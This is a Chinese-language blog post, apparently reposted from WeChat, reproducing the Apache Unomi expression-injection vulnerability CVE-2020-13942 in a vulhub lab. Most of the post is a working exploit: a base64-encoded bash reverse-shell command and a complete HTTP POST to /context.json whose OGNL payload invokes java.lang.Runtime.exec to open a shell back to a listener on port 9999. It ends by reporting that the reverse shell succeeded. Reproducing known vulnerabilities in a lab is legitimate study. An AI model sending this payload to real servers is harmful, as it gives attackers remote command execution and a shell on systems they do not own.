Apache Unomi 远程表达式代码执行(CVE-2020-13942)漏洞复现
2020-12-18 11:14:09 Author: mp.weixin.qq.com(查看原文) 阅读量:152 收藏


Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验。在Apache Unomi 1.5.1级以前版本中,存在一处表达式注入漏洞,远程攻击者通过MVEL和OGNL表达式即可在目标服务器上执行任意命令。

影响版本:
Apache Unomi < 1.5.2

漏洞复现:

使用vulhub搭建docker环境,访问主页http://192.168.10.128:8181/

 


将bash命令进行编码

(网站:http://www.jackson-t.ca/runtime-exec-payloads.html)

bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEzNC85OTk5IDA JjE=}|{base64,-d}|{bash,-i}

 

监听端口

 

抓包执行poc

POST /context.json HTTP/1.1Host: 192.168.10.128:8181Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 1142
{ "personalizations":[ { "id":"gender-test", "strategy":"matching-first", "strategyOptions":{ "fallback":"var2" }, "contents":[ { "filters":[ { "condition":{ "parameterValues":{ "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEzNC85OTk5IDA JjE=}|{base64,-d}|{bash,-i}iid\"))", "comparisonOperator":"equals", "propertyValue":"male" }, "type":"profilePropertyCondition" } } ] } ] } ], "sessionId":"sample"}
 

反弹shell成功

推荐文章++++

*nginx_parsing_vulnerability nignx解析漏洞复现

*Apache Shiro 1.2.4反序列化漏洞复现(CVE-2016-4437)

*Ubuntu漏洞复现


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650496854&idx=3&sn=cfab1fa1361e59ef33e869eb63d5d8f7&chksm=83ba3ab2b4cdb3a415463e08b5078e2a3a4db5718d1f5179670878a1ef6edb586eca822e1ed3#rd
如有侵权请联系:admin#unsafe.sh